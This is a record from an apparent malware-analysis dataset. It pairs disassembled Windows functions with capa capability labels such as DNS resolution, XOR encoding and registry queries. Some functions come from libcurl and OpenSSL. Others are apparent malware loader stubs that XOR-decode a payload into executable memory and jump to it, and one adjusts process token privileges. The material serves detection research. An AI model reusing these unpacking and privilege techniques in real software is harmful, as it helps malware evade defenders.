joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c3d80
Capabilities:
Resolve dns

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x1c]
push esi
xor esi, esi
mov dword [esp + 4], esi
mov dword [eax], esi
lea eax, [esp + 8]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x100c3f32
push ebx
mov ebx, dword [esp + 0xc]
push edi
test ebx, ebx
je 0x100c3f1c
push ebp
mov eax, dword [ebx + 4]
cmp eax, 2
jne 0x100c3dcf
lea ebp, [eax + 0xe]
jmp 0x100c3ddb
cmp eax, 0x17
jne 0x100c3e89
lea ebp, [eax + 5]
cmp dword [ebx + 0x18], 0
je 0x100c3e89
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x100c3e89
cmp eax, ebp
jb 0x100c3e89
push 0x20
call dword [0x102670d8]
mov edi, eax
add esp, 4
test edi, edi
je 0x100c3f11
mov ecx, dword [ebx]
mov dword [edi], ecx
mov ecx, dword [ebx + 4]
mov dword [edi + 4], ecx
mov ecx, dword [ebx + 8]
mov dword [edi + 8], ecx
mov eax, dword [ebx + 0xc]
push ebp
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], ebp
mov dword [edi + 0x18], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x1c], 0
call dword [0x102670d8]
add esp, 4
mov dword [edi + 0x18], eax
test eax, eax
je 0x100c3f00
push ebp
push dword [ebx + 0x18]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x14]
add esp, 0xc
test eax, eax
je 0x100c3e75
push eax
call dword [0x102670e4]
add esp, 4
mov dword [edi + 0x14], eax
test eax, eax
je 0x100c3ee6
mov eax, dword [esp + 0x10]
test esi, esi
cmove esi, edi
test eax, eax
je 0x100c3e85
mov dword [eax + 0x1c], edi
mov dword [esp + 0x10], edi
mov ebx, dword [ebx + 0x1c]
test ebx, ebx
jne 0x100c3dc2
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
pop ebp
test eax, eax
je 0x100c3ea8
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test ebx, ebx
je 0x100c3f18
test esi, esi
je 0x100c3ed5
push dword [esi + 0x18]
call dword [0x102670dc]
push dword [esi + 0x14]
call dword [0x102670dc]
mov edi, dword [esi + 0x1c]
push esi
call dword [0x102670dc]
add esp, 0xc
mov esi, edi
test edi, edi
jne 0x100c3eb0
mov eax, dword [esp + 0x28]
xor esi, esi
pop edi
mov dword [eax], esi
mov eax, ebx
pop ebx
pop esi
add esp, 0xc
ret
push dword [edi + 0x18]
mov ebx, 8
call dword [0x102670dc]
push edi
call dword [0x102670dc]
add esp, 8
jmp 0x100c3e98
push edi
mov ebx, 8
call dword [0x102670dc]
add esp, 4
jmp 0x100c3e98
mov ebx, 8
jmp 0x100c3e98
test esi, esi
jne 0x100c3f28
mov ebx, 0x2af9
push ebx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], esi
mov eax, ebx
pop ebx
pop esi
add esp, 0xc
ret
Function at 0x100c8380
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x1c4
mov eax, dword [0x1026abac]
xor eax, esp
mov dword [esp + 0x1c0], eax
cmp byte [0x107065f8], 0
push ebx
mov ebx, dword [esp + 0x1cc]
mov dword [esp + 0x10], ebx
jne 0x100c83b9
call fcn.100e6c90
test eax, eax
je 0x100c83d1
mov byte [0x107065f8], 1
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1c0]
xor ecx, esp
call fcn.101d51d8
add esp, 0x1c4
ret
mov eax, dword [ebx + 0x9cc]
test eax, eax
je 0x100c83f2
push 0x400
push eax
call fcn.100e7940
add esp, 8
call fcn.100e6c90
test eax, eax
jne 0x100c83b9
push ebp
push esi
push edi
nop word [eax + eax]
mov ebx, 2
mov dword [esp + 0x18], 4
lea eax, [esp + 0x90]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], eax
nop dword [eax]
lea eax, [esp + 0x40]
push eax
call fcn.100bb670
push 1
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x38], xmm0
movups xmmword [esp + 0x28], xmm0
call fcn.100b66e0
lea eax, [esp + 0x58]
push eax
call fcn.100bb670
mov esi, dword [eax + 8]
lea eax, [esp + 0x6c]
push eax
call fcn.100bb670
add esp, 0x10
lea ebp, [ebx + 1]
mov ecx, eax
mov eax, esi
cdq
push 0
add eax, dword [ecx]
push ebp
adc edx, dword [ecx + 4]
push edx
push eax
call fcn.101d66b0
movups xmm1, xmmword [esp + 0x30]
mov esi, dword [esp + 0x10]
mov edi, eax
mov ebx, edx
dec esi
movaps xmm0, xmm1
movd eax, xmm1
psrldq xmm0, 4
movd ecx, xmm0
shld ebx, edi, 8
push ecx
push eax
push 0
push esi
shl edi, 8
call fcn.101d66b0
xor edi, eax
xor ebx, edx
lea eax, [esp + 0x70]
mov dword [esp + 0x20], edi
push eax
mov dword [esp + 0x28], ebx
call fcn.100bb670
lea esi, [eax + 8]
lea eax, [esp + 0x84]
push eax
call fcn.100bb670
mov edx, dword [esp + 0x18]
add esp, 8
mov ebx, ebp
mov dword [esp + 0x10], ebx
mov ecx, dword [eax]
add ecx, dword [esi]
lea eax, [edx + 2]
imul edx, dword [esp + 0x28]
imul ecx, eax
mov eax, dword [esp + 0x14]
shl ecx, 0x10
xor ecx, edx
mov dword [esp + 0x28], ecx
movups xmm0, xmmword [esp + 0x20]
movups xmmword [eax], xmm0
add eax, 0x10
sub dword [esp + 0x18], 1
mov dword [esp + 0x14], eax
jne 0x100c8420
movsd xmm0, qword [0x101eaec0]
lea eax, [esp + 0x90]
sub esp, 8
movsd qword [esp], xmm0
push 0x40
push eax
call fcn.100e6ae0
add esp, 0x10
call fcn.100e6c90
test eax, eax
je 0x100c8400
lea eax, [esp + 0xd0]
mov byte [esp + 0xd0], 0
push 0x100
push eax
call fcn.100e7780
add esp, 8
cmp byte [esp + 0xd0], 0
pop edi
pop esi
pop ebp
je 0x100c8582
lea eax, [esp + 0xc4]
push 0x400
push eax
call fcn.100e7940
add esp, 8
call fcn.100e6c90
test eax, eax
jne 0x100c83b9
push str.libcurl_is_now_using_a_weak_random_seed__n
push dword [esp + 0x14]
call fcn.100b3430
add esp, 8
call fcn.100e6c90
mov ecx, dword [esp + 0x1c4]
neg eax
pop ebx
sbb eax, eax
xor ecx, esp
and eax, 0xffffffdd
add eax, 0x23
call fcn.101d51d8
add esp, 0x1c4
ret
Function at 0x100cce10
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1004
call fcn.101d62f0
mov eax, dword [0x1026abac]
xor eax, esp
mov dword [esp + 0x1000], eax
mov eax, dword [esp + 0x1008]
push eax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x100cce79
push 0x1000
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x100cce79
lea eax, [esp]
push eax
call dword [0x102670e4]
add esp, 4
mov ecx, dword [esp + 0x1000]
xor ecx, esp
call fcn.101d51d8
add esp, 0x1004
ret
mov ecx, dword [esp + 0x1000]
xor eax, eax
xor ecx, esp
call fcn.101d51d8
add esp, 0x1004
ret
Function at 0x100f0e30
Capabilities:
Resolve dns

Disassembly:
mov eax, 0x20
call fcn.101d62f0
push ebx
push esi
mov esi, dword [esp + 0x38]
xor ebx, ebx
mov eax, esi
sub eax, ebx
je 0x100f0e78
sub eax, 2
je 0x100f0e78
sub eax, 0x15
je 0x100f0e78
push 0x293
push str.crypto_bio_b_addr.c
push 0x83
push 0x8f
push 0x20
call fcn.100ea070
add esp, 0x14
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret
call fcn.100f0c50
cmp eax, 1
jne 0x100f0e70
mov eax, dword [esp + 0x3c]
xor ecx, ecx
push ebp
push edi
xorps xmm0, xmm0
mov dword [esp + 0x10], ecx
xor edi, edi
movlpd qword [esp + 0x20], xmm0
movlpd qword [esp + 0x28], xmm0
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
test esi, esi
jne 0x100f0eb9
or ecx, 0x400
mov dword [esp + 0x10], ecx
cmp dword [esp + 0x3c], 1
jne 0x100f0ec7
or ecx, 1
mov dword [esp + 0x10], ecx
mov ebp, dword [esp + 0x48]
lea eax, [esp + 0x10]
push ebp
push eax
push dword [esp + 0x40]
push dword [esp + 0x40]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov esi, eax
test esi, esi
je 0x100f0f1f
cmp esi, 8
je 0x100f0f66
mov ecx, dword [esp + 0x10]
test ecx, 0x400
je 0x100f0f2e
push ebp
lea eax, [esp + 0x14]
and ecx, 0xfffffbff
push eax
push dword [esp + 0x40]
or ecx, 4
mov edi, esi
push dword [esp + 0x40]
mov dword [esp + 0x20], ecx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov esi, eax
test esi, esi
jne 0x100f0ee5
mov ebx, 1
pop edi
pop ebp
pop esi
mov eax, ebx
pop ebx
add esp, 0x20
ret
push 0x2d4
push str.crypto_bio_b_addr.c
push 2
push 0x8f
push 0x20
call fcn.100ea070
test edi, edi
cmovne esi, edi
push esi
call fcn.100f1370
push eax
push 1
call fcn.100e96b0
add esp, 0x20
pop edi
pop ebp
pop esi
mov eax, ebx
pop ebx
add esp, 0x20
ret
push 0x2c5
push str.crypto_bio_b_addr.c
push 0x41
push 0x8f
push 0x20
call fcn.100ea070
add esp, 0x14
pop edi
pop ebp
pop esi
mov eax, ebx
pop ebx
add esp, 0x20
ret
Function at 0x1013ff30
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.101d62f0
mov edx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
mov dword [esp + 4], 0x10
lea eax, [edx + 0xf]
lea ecx, [esi + 0xf]
cmp esi, eax
ja 0x1013ff74
cmp ecx, edx
jb 0x1013ff74
push edi
mov ecx, esi
sub edx, esi
mov edi, 0x10
mov al, byte [edx + ecx]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
sub edi, 1
jne 0x1013ff63
pop edi
jmp 0x1013ff81
movups xmm1, xmmword [esi]
movups xmm0, xmmword [edx]
pxor xmm1, xmm0
movups xmmword [esi], xmm1
push 0x10
push esi
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0x18]
push esi
push dword [eax + 4]
call fcn.10116ad0
add esp, 0x14
pop esi
test eax, eax
je 0x1013ffab
cmp dword [esp], 0x10
jne 0x1013ffab
mov eax, 1
pop ecx
ret
xor eax, eax
pop ecx
ret

Function at 0x101400f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
test ebp, ebp
je 0x10140163
mov edx, dword [esp + 0x10]
test edx, edx
je 0x10140163
push ebx
mov ebx, dword [esp + 0xc]
push edi
mov eax, dword [ebx + 0xc]
cmp edx, eax
mov edi, eax
cmovb edi, edx
test edi, edi
je 0x10140133
push esi
mov esi, ebp
lea ecx, [ebx + 0x10]
nop dword [eax + eax]
mov al, byte [esi]
lea esi, [esi + 1]
xor byte [ecx], al
lea ecx, [ecx + 1]
sub edi, 1
jne 0x10140120
mov eax, dword [ebx + 0xc]
pop esi
cmp edx, eax
jbe 0x10140161
sub edx, eax
cmp edx, 0x10
jbe 0x10140145
mov edx, 0x10
jmp 0x10140149
test edx, edx
je 0x10140161
xor ecx, ecx
nop dword [eax + eax]
mov eax, dword [ebx + 0xc]
add eax, ecx
mov al, byte [eax + ebp]
xor byte [ebx + ecx + 0x30], al
inc ecx
cmp ecx, edx
jb 0x10140150
pop edi
pop ebx
pop ebp
ret
Function at 0x10145ec0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov eax, 0x9c
call fcn.101d62f0
mov eax, dword [0x1026abac]
xor eax, esp
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0xb0]
push ebx
mov ebx, dword [esp + 0xac]
push ebp
mov ebp, dword [esp + 0xac]
push esi
mov esi, dword [esp + 0xac]
push edi
mov edi, dword [esp + 0xbc]
mov dword [esp + 0x14], eax
mov eax, dword [esi]
mov dword [esp + 0x10], 0
test edi, edi
je 0x10145f2d
cmp edi, eax
je 0x10145f21
test ebp, ebp
je 0x10145fa0
test ebx, ebx
js 0x10145fa0
mov dword [esp + 0x10], 1
mov dword [esi], edi
jmp 0x10145f33
test eax, eax
je 0x10145fa0
mov edi, eax
push edi
call fcn.100bb820
add esp, 4
test al, 2
jne 0x10145fa0
test ebp, ebp
je 0x101460ab
push edi
mov dword [esp + 0x14], 1
call fcn.100daa80
add esp, 4
cmp eax, 0x90
jg 0x10145fa0
cmp eax, ebx
jge 0x10145fbb
push dword [esp + 0x14]
push edi
push dword [esi + 4]
call fcn.100e1380
add esp, 0xc
test eax, eax
je 0x10145fa0
push ebx
push ebp
push dword [esi + 4]
call fcn.100e1530
add esp, 0xc
test eax, eax
je 0x10145fa0
lea ebp, [esi + 0x10]
push ebp
lea eax, [esi + 0x14]
push eax
push dword [esi + 4]
call fcn.100e12e0
add esp, 0xc
test eax, eax
jne 0x10145fd7
xor eax, eax
mov ecx, dword [esp + 0xa8]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.101d51d8
add esp, 0x9c
ret
cmp ebx, 0x90
ja 0x10145fa0
push ebx
lea eax, [esi + 0x14]
push ebp
push eax
call sub.VCRUNTIME140.dll_memcpy
lea ebp, [esi + 0x10]
add esp, 0xc
mov dword [ebp], ebx
mov ecx, dword [ebp]
cmp ecx, 0x90
je 0x10145ffa
mov eax, 0x90
sub eax, ecx
push eax
lea eax, [esi + 0x14]
add eax, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ebx, dword [esp + 0x10]
xor ecx, ecx
mov al, byte [esi + ecx + 0x14]
xor al, 0x36
mov byte [esp + ecx + 0x18], al
inc ecx
cmp ecx, 0x90
jl 0x10146000
mov ebp, dword [esp + 0x14]
push ebp
push edi
push dword [esi + 8]
call fcn.100e1380
add esp, 0xc
test eax, eax
je 0x101460b8
push edi
call fcn.100daa80
push eax
lea eax, [esp + 0x20]
push eax
push dword [esi + 8]
call fcn.100e1530
add esp, 0x10
test eax, eax
je 0x101460b8
xor ecx, ecx
nop dword [eax]
mov al, byte [esi + ecx + 0x14]
xor al, 0x5c
mov byte [esp + ecx + 0x18], al
inc ecx
cmp ecx, 0x90
jl 0x10146050
push ebp
push edi
push dword [esi + 0xc]
call fcn.100e1380
add esp, 0xc
test eax, eax
je 0x101460b8
push edi
call fcn.100daa80
push eax
lea eax, [esp + 0x20]
push eax
push dword [esi + 0xc]
call fcn.100e1530
add esp, 0x10
test eax, eax
je 0x101460b8
push dword [esi + 8]
push dword [esi + 4]
call fcn.100e16c0
xor ebp, ebp
add esp, 8
test eax, eax
mov ecx, 1
cmovne ebp, ecx
jmp 0x101460ba
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x1014608f
jmp 0x10145ffe
xor ebp, ebp
test ebx, ebx
je 0x101460d0
lea eax, [esp + 0x18]
push 0x90
push eax
call fcn.10001320
add esp, 8
mov eax, ebp
jmp 0x10145fa2

Function at 0x101826a0
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0x18], 0
je 0x101826b4
mov dword [esp + 0x18], fcn.10180e70
jmp fcn.1017a3c0
mov dword [esp + 0x18], fcn.10180100
jmp fcn.1017a0c0
Function at 0x101c71c0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.101d62f0
push ebp
mov ebp, dword [esp + 0x20]
push esi
mov esi, dword [esp + 0x18]
inc ebp
push edi
mov edi, dword [esp + 0x20]
mov eax, dword [esi + 4]
mov ecx, dword [edi + 8]
mov eax, dword [eax + 0x64]
test byte [eax + 0x30], 1
je 0x101c724a
mov edx, dword [esp + 0x24]
lea eax, [edx + ebp]
cmp eax, ecx
ja 0x101c724e
add dword [edi + 0x14], edx
sub ecx, edx
add dword [edi + 0x18], edx
sub dword [edi + 0xc], edx
mov dword [edi + 8], ecx
mov eax, dword [edi + 0x14]
push ebx
push dword [esi + 0x3cc]
mov al, byte [eax + ecx - 1]
movzx ebx, al
mov byte [esp + 0x30], al
mov dword [esp + 0x24], ebx
call fcn.100dee40
push eax
call fcn.100daa90
mov esi, dword [edi + 8]
add esp, 8
mov dword [esp + 0x18], esi
and eax, 0x200000
je 0x101c7257
sub esi, ebx
mov eax, 1
dec esi
pop ebx
mov dword [edi + 8], esi
pop edi
pop esi
pop ebp
add esp, 0xc
ret
cmp ebp, ecx
jbe 0x101c7202
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret
lea ecx, [ebx + ebp]
mov eax, esi
mov ebx, esi
xor eax, ecx
sub ebx, ecx
xor ebx, ecx
or ebx, eax
mov eax, 0x100
xor ebx, esi
shr ebx, 0x1f
dec ebx
cmp esi, eax
cmovb eax, esi
xor ebp, ebp
mov dword [esp + 0x10], eax
test eax, eax
je 0x101c72d3
mov edx, dword [esp + 0x20]
dec esi
mov edi, dword [edi + 0x14]
shr edx, 0x1f
add edi, esi
mov esi, dword [esp + 0x20]
mov dword [esp + 0x14], edx
mov eax, esi
lea edi, [edi - 1]
sub eax, ebp
mov ecx, ebp
shr ecx, 0x1f
inc ebp
shr eax, 0x1f
xor al, cl
xor cl, dl
or al, cl
movzx ecx, byte [esp + 0x2c]
dec al
movzx edx, al
movzx eax, byte [edi + 1]
xor ecx, eax
and edx, ecx
not edx
and ebx, edx
mov edx, dword [esp + 0x14]
cmp ebp, dword [esp + 0x10]
jb 0x101c7295
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
not ebx
movzx ecx, bl
inc eax
dec ecx
shr ecx, 0x1f
neg ecx
and eax, ecx
sub esi, eax
mov dword [edi + 8], esi
mov dword [esp + 0x2c], ecx
not ecx
pop ebx
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x1c]
and ecx, 1
pop edi
pop esi
or eax, ecx
pop ebp
add esp, 0xc
ret
Function at 0x101d4d64
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
push eax
push dword [esi]
call fcn.101d4d40
pop esi
leave
ret 8
Function at 0x2d816a23
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2d8e1ef1
call fcn.2d805e23
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
push str.SoftwareMicrosoftInternet_Explorer
xor ebx, ebx
push 0x80000002
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x2d816a56
xor al, al
jmp 0x2d816b1e
push ebx
mov byte [ebp - 0x2c], bl
lea ecx, [ebp - 0x28]
push dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x18], ebx
dec esi
push es
or byte [eax], al
add bh, al
inc ebp
in al, dx
pop es
add byte [eax], al
add byte [esi - 0x77], ah
inc ebp
fsubr st(0)
cmp eax, 0x8b000806
inc ebp
call 0x6149b80e
dec dword [ecx - 0x76b837bb]
pop ebp
cld
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
push ebx
push str.Version
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete bl
test eax, eax
jne 0x2d816acf
lea eax, [ebp - 0x28]
cmp esi, eax
je 0x2d816acf
cmp dword [ebp - 0x14], 8
mov ecx, esi
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.2d801b44
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x2d816b1c
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], edi
cmp eax, 0x1000
jb 0x2d816b13
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.2d8970b7
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
push eax
push ecx
call fcn.2d8970b7
pop ecx
pop ecx
mov al, bl
call fcn.2d8076ce
ret
Function at 0x2d834fff
Capabilities:
Get disk information

Disassembly:
push 0x3c
mov eax, 0x2d8e471e
call fcn.2d805e23
mov esi, dword [ebp + 8]
xor ebx, ebx
push esi
call fcn.2d8970b7
pop ecx
test al, al
je 0x2d835159
lea eax, [ebp - 0x44]
push eax
push ebx
push esi
call fcn.2d834ce5
add esp, 0xc
test eax, eax
jne 0x2d835161
push dword [ebp - 0x44]
push 1
call fcn.2d8970b7
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x2d835161
lea eax, [ebp - 0x44]
push eax
push edi
push esi
call fcn.2d834ce5
add esp, 0xc
test eax, eax
jne 0x2d835161
mov byte [edi + 3], bl
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], bl
call fcn.2d82bc14
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.2d8359fe
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], bl
pop ecx
pop ecx
cmp eax, 0x10
jb 0x2d8350df
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 4], 2
cmp eax, 0x1000
jb 0x2d8350d3
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.2d8970b7
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.2d8970b7
pop ecx
pop ecx
mov byte [ebp - 4], bl
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
cmp eax, 2
je 0x2d8350fb
cmp eax, 5
jne 0x2d8350fd
mov bl, 1
mov eax, dword [0x2d966aec]
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x2d8f7384]
call esi
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 8
jb 0x2d835159
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x2d835150
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.2d8970b7
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.2d8970b7
pop ecx
pop ecx
mov al, bl
call fcn.2d8076ce
ret
xor al, al
jmp 0x2d83515b
Function at 0x2d8970b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x2d8970c6
pop dword [ebp - 0x44]
mov eax, 0x2d8970c6
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x2dff0197
sub dword [ebp - 0x54], 0xdfacbc4c
mov dword [ebp - 0x50], 0x6e4a931b
sub dword [ebp - 0x50], 0x3c1746d6
mov dword [ebp - 0x4c], 0x759cecb7
add dword [ebp - 0x4c], 0xd6af5777
mov dword [ebp - 0x48], 0x55c678fd
add dword [ebp - 0x48], 0xaa398703
lea eax, [ebp - 0x54]
push eax
mov eax, 0x17bd0bbe
add eax, 0x15d264ca
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xff2ebb3f
add dword [ebp - 0x54], 0x7543ae17
mov dword [ebp - 0x50], 0xabf2a542
sub dword [ebp - 0x50], 0x6a8643cd
mov dword [ebp - 0x4c], 0xb0ef3ff2
add dword [ebp - 0x4c], 0xb2802c7a
mov dword [ebp - 0x48], 0x53d82206
sub dword [ebp - 0x48], 0x53d82206
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xc9a861ac
sub eax, 0x9c18f11c
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x68a83
push 0
call eax
mov ecx, 0x6e28fb11
sub ecx, 0x6e28bcc2
xor ebx, ebx
add ebx, eax
mov esi, 0x68282334
sub esi, 0x3a8d8334
add esi, dword [ebp - 0x44]
mov edx, 0x3341c9a
xor dword [ebp - 0x20], ebx
mov edi, dword [esi]
add dword [ebp - 0x40], 0x5647136
xor edi, edx
xor dword [ebp - 0x10], ebx
mov dword [ebx], edi
mov dword [ebp - 0x2c], 0xa4a9accb
add ebx, 0xe40b672a
add ebx, 0x1bf498da
add esi, 4
loop 0x2d8971df
add eax, 0xec0f
xor ebx, ebx
add ebx, eax
add eax, 0x2ae987d5
add eax, 0xd5167830
mov ecx, 0x2d800000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x10008ee0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x10008f4e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10008fa5
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10008fbd
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10008fc8
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx